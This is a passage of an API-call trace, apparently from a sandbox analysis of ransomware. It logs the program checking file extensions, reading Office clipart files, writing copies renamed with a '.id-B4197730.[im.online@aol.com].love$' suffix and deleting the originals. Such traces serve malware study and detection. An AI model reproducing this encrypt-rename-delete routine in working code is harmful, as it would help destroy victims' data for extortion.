Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0272.436] lstrlenW (lpString=".zip") returned 4 [0272.436] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0272.436] lstrlenW (lpString=".rar") returned 4 [0272.436] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0272.436] lstrlenW (lpString=".bz2") returned 4 [0272.436] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0272.436] lstrlenW (lpString=".7z") returned 3 [0272.436] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0272.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0272.436] lstrlenW (lpString=".dbf") returned 4 [0272.436] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0272.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0272.436] lstrlenW (lpString=".1cd") returned 4 [0272.436] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0272.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0272.437] lstrlenW (lpString=".jpg") returned 4 [0272.437] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0272.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0272.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0272.437] lstrlenW (lpString=".doc") returned 4 [0272.437] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0272.437] lstrlenW (lpString=".docx") returned 5 [0272.437] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0272.437] lstrlenW (lpString=".pdf") returned 4 [0272.437] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0272.437] lstrlenW (lpString=".xls") returned 4 [0272.437] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0272.437] lstrlenW (lpString=".xlsx") returned 5 [0272.437] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0272.437] lstrlenW (lpString=".ppt") returned 4 [0272.437] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0272.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0272.437] lstrlenW (lpString=".zip") returned 4 [0272.437] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0272.437] lstrlenW (lpString=".rar") returned 4 [0272.437] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0272.437] lstrlenW (lpString=".bz2") returned 4 [0272.437] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0272.437] lstrlenW (lpString=".7z") returned 3 [0272.438] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0272.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0272.438] lstrlenW (lpString=".dbf") returned 4 [0272.438] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0272.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0272.438] lstrlenW (lpString=".1cd") returned 4 [0272.438] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0272.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0272.438] lstrlenW (lpString=".jpg") returned 4 [0272.438] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0272.438] lstrcmpiW (lpString1=".BMP", lpString2=".love$") returned -1 [0272.438] lstrlenW (lpString="J0101867.BMP") returned 12 [0272.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0272.440] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=32616) returned 1 [0272.440] CloseHandle (hObject=0x4c8) returned 1 [0272.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 0x220 [0272.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0272.441] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.441] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0272.442] GetLastError () returned 0x0 [0272.443] ReadFile (in: hFile=0x4c8, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x7f68, lpOverlapped=0x0) returned 1 [0272.446] WriteFile (in: hFile=0x47c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x7f70, lpOverlapped=0x0) returned 1 [0272.448] ReadFile (in: hFile=0x4c8, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0272.448] WriteFile (in: hFile=0x47c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0272.449] SetEndOfFile (hFile=0x47c) returned 1 [0272.449] CloseHandle (hObject=0x47c) returned 1 [0272.449] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.449] SetEndOfFile (hFile=0x4c8) returned 1 [0272.453] CloseHandle (hObject=0x4c8) returned 1 [0272.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.454] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 1 [0272.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0272.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0272.891] lstrlenW (lpString=".doc") returned 4 [0272.891] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0272.891] lstrlenW (lpString=".docx") returned 5 [0272.891] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0272.891] lstrlenW (lpString=".pdf") returned 4 [0272.891] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0272.891] lstrlenW (lpString=".xls") returned 4 [0272.891] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0272.891] lstrlenW (lpString=".xlsx") returned 5 [0272.891] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0272.891] lstrlenW (lpString=".ppt") returned 4 [0272.891] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0272.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0272.891] lstrlenW (lpString=".zip") returned 4 [0272.891] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0272.891] lstrlenW (lpString=".rar") returned 4 [0272.891] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0272.891] lstrlenW (lpString=".bz2") returned 4 [0272.891] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0272.892] lstrlenW (lpString=".7z") returned 3 [0272.892] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0272.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0272.892] lstrlenW (lpString=".dbf") returned 4 [0272.892] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0272.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0272.892] lstrlenW (lpString=".1cd") returned 4 [0272.892] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0272.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0272.892] lstrlenW (lpString=".jpg") returned 4 [0272.892] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0272.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0272.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0272.892] lstrlenW (lpString=".doc") returned 4 [0272.892] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0272.892] lstrlenW (lpString=".docx") returned 5 [0272.892] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0272.892] lstrlenW (lpString=".pdf") returned 4 [0272.892] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0272.892] lstrlenW (lpString=".xls") returned 4 [0272.892] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0272.892] lstrlenW (lpString=".xlsx") returned 5 [0272.892] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0272.892] lstrlenW (lpString=".ppt") returned 4 [0272.892] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0272.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0272.892] lstrlenW (lpString=".zip") returned 4 [0272.892] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0272.892] lstrlenW (lpString=".rar") returned 4 [0272.892] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0272.893] lstrlenW (lpString=".bz2") returned 4 [0272.893] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0272.893] lstrlenW (lpString=".7z") returned 3 [0272.893] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0272.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0272.893] lstrlenW (lpString=".dbf") returned 4 [0272.893] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0272.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0272.893] lstrlenW (lpString=".1cd") returned 4 [0272.893] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0272.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0272.893] lstrlenW (lpString=".jpg") returned 4 [0272.893] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0272.893] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0272.893] lstrlenW (lpString="J0103402.WMF") returned 12 [0272.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0272.925] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=44948) returned 1 [0272.925] CloseHandle (hObject=0x4b0) returned 1 [0272.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 0x220 [0272.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0272.926] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.926] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.929] GetLastError () returned 0x0 [0272.929] ReadFile (in: hFile=0x4b0, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0xaf94, lpOverlapped=0x0) returned 1 [0272.932] WriteFile (in: hFile=0x388, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xafa0, lpOverlapped=0x0) returned 1 [0272.935] ReadFile (in: hFile=0x4b0, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0272.935] WriteFile (in: hFile=0x388, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0272.935] SetEndOfFile (hFile=0x388) returned 1 [0272.935] CloseHandle (hObject=0x388) returned 1 [0272.935] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.935] SetEndOfFile (hFile=0x4b0) returned 1 [0272.941] CloseHandle (hObject=0x4b0) returned 1 [0272.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.941] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 1 [0272.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0272.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0272.943] lstrlenW (lpString=".doc") returned 4 [0272.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.943] lstrlenW (lpString=".docx") returned 5 [0272.943] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0272.943] lstrlenW (lpString=".pdf") returned 4 [0272.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.943] lstrlenW (lpString=".xls") returned 4 [0272.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.943] lstrlenW (lpString=".xlsx") returned 5 [0272.943] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0272.943] lstrlenW (lpString=".ppt") returned 4 [0272.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0272.944] lstrlenW (lpString=".zip") returned 4 [0272.944] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.944] lstrlenW (lpString=".rar") returned 4 [0272.944] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.944] lstrlenW (lpString=".bz2") returned 4 [0272.944] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.944] lstrlenW (lpString=".7z") returned 3 [0272.944] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0272.944] lstrlenW (lpString=".dbf") returned 4 [0272.944] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0272.944] lstrlenW (lpString=".1cd") returned 4 [0272.944] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0272.944] lstrlenW (lpString=".jpg") returned 4 [0272.944] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0272.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0272.944] lstrlenW (lpString=".doc") returned 4 [0272.944] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.944] lstrlenW (lpString=".docx") returned 5 [0272.944] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0272.944] lstrlenW (lpString=".pdf") returned 4 [0272.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.944] lstrlenW (lpString=".xls") returned 4 [0272.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.945] lstrlenW (lpString=".xlsx") returned 5 [0272.945] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0272.945] lstrlenW (lpString=".ppt") returned 4 [0272.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0272.945] lstrlenW (lpString=".zip") returned 4 [0272.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.945] lstrlenW (lpString=".rar") returned 4 [0272.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.945] lstrlenW (lpString=".bz2") returned 4 [0272.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.945] lstrlenW (lpString=".7z") returned 3 [0272.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0272.945] lstrlenW (lpString=".dbf") returned 4 [0272.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0272.945] lstrlenW (lpString=".1cd") returned 4 [0272.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0272.945] lstrlenW (lpString=".jpg") returned 4 [0272.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.945] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0272.946] lstrlenW (lpString="J0103812.WMF") returned 12 [0272.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0272.947] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=5908) returned 1 [0272.947] CloseHandle (hObject=0x4b0) returned 1 [0272.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 0x220 [0272.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0272.948] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.948] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.950] GetLastError () returned 0x0 [0272.950] ReadFile (in: hFile=0x4b0, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x1714, lpOverlapped=0x0) returned 1 [0272.953] WriteFile (in: hFile=0x388, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x1720, lpOverlapped=0x0) returned 1 [0272.954] ReadFile (in: hFile=0x4b0, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0272.954] WriteFile (in: hFile=0x388, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0272.955] SetEndOfFile (hFile=0x388) returned 1 [0272.955] CloseHandle (hObject=0x388) returned 1 [0272.955] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.955] SetEndOfFile (hFile=0x4b0) returned 1 [0272.958] CloseHandle (hObject=0x4b0) returned 1 [0272.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 1 [0272.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0272.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0272.961] lstrlenW (lpString=".doc") returned 4 [0272.961] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.961] lstrlenW (lpString=".docx") returned 5 [0272.961] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0272.961] lstrlenW (lpString=".pdf") returned 4 [0272.961] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.961] lstrlenW (lpString=".xls") returned 4 [0272.961] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.961] lstrlenW (lpString=".xlsx") returned 5 [0272.961] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0272.961] lstrlenW (lpString=".ppt") returned 4 [0272.961] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0272.961] lstrlenW (lpString=".zip") returned 4 [0272.961] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.961] lstrlenW (lpString=".rar") returned 4 [0272.961] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.961] lstrlenW (lpString=".bz2") returned 4 [0272.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.961] lstrlenW (lpString=".7z") returned 3 [0272.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") 